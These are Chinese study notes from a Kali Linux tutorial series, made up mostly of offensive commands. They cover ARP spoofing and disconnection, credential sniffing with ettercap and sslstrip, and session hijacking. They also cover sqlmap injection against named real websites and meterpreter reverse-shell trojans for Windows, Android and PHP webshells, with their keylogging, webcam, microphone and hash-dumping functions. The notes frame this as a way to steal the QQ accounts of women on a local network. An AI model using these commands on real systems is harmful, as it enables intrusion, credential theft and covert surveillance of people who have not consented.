看kali教程的一些总结（i春秋上的kali吧教程）

windows 雨滴 美化
局域网 断网攻击  arp攻击 arpspoof -i  网卡 -t 目标ip 网关
                查看局域网当中的ip   Fping -asg  网段

获取内网妹子的qq

arp欺骗   ：  目标的IP流量经过我的网卡，从网关出去
arp断网 ：没有从网关出去

进行IP流量转发
echo 1 > /proc/sys/net/ipv4/ip_forward
echo 写命令，不会有回显
可以ping通
此时：arp成功欺骗，不会出现断网现象

场景回顾：
arp欺骗成功  ==

driftnet     --> 获取本机网卡的图片

目标 --》 我的网卡 --》网关
 
 看我的网卡的图片信息

 Driftnet  -i  eth0

 第八课 http账号密码获取


  开启IP转发
  1、echo 1 > /proc/sys/net/ipv4/ip_forward

  2、arpspoof  欺骗

  3、ettercap -Tq -i eth0

  -Tq  文本模式   

  第九课 https账号密码获取


  配置一下


  同上

  3、sslstrip -a -f -  》 https的链接还原为http


第十课 会话劫持
arpspoof  
wireshark 抓包
ferret  重新生成抓包后的文件
hamster  重放流量


sqlmap
asp http://www.czypjx.com/News_show.asp?id=113
asp  www.wisefund.com.cn  cookie 注入

php www.ggec.com.cn 注入

第十五课
msfpayload 生成木马

use exploit  windows/meterpreter/reverse_tcp
使用这个shellcode

第十六课

如何使用木马：
help

木马常用功能：
background 后台运行
session -l 列出所有会话
session -i id 进入会话

注入进程 ： 木马随时有可能被结束掉的
ps  得到我们要注入的PID进程
Migtrate    xxx  注入  

   2036  2004  exlore.exe 桌面进程
migrate  2036

run  vnc  开启远程桌面

文件管理功能 ：
download     下载文件
edit          编辑文件
cat           查看文件
mkdir         创建文件夹
mv            移动文件
rm            删除文件
upload        上传文件
rmdir          删除文件夹

网络及文件操作
arp      看ARP缓冲表
ifconfig    Ip地址
netstat      查看端口连接

kill       结束进程
ps          查看进程
reboot      重启电脑
reg           修改注册表
shell        获取shell
shutdown      关闭电脑
sysinfo      获取电脑信息


用户操作和其它功能讲解
enumdesktops      --用户登录数
keyscan_dump      键盘记录下载--下载
keyscan_start       -----开始
keyscan_stop        -----停止

uncil   disenable/enable keyboard
uncil   disenable mounse？
      获取键盘鼠标控制权

record_mic     -h  音频录制
webcam_chat          查看摄像头接口
webcam_list           摄像头列表
webcam_stream        摄像头视频获取
getsystem          获取高权限
hashdump     获取hash密文

第十八课 msf之安卓渗透

msfpayload  android/meterpreter/reverse_tcp
             使用这个shellcode

第十九课  msf 蓝屏攻击
 DDOS
 ms12_202 然并卵吧

 第二十课 msf之生成webshell以及应用
   1、在msf中生成一个php脚本  
   msfpayload  php/meterpreter/reverse_tcp LHOST=ip  R > web.php
   2、同上
   execute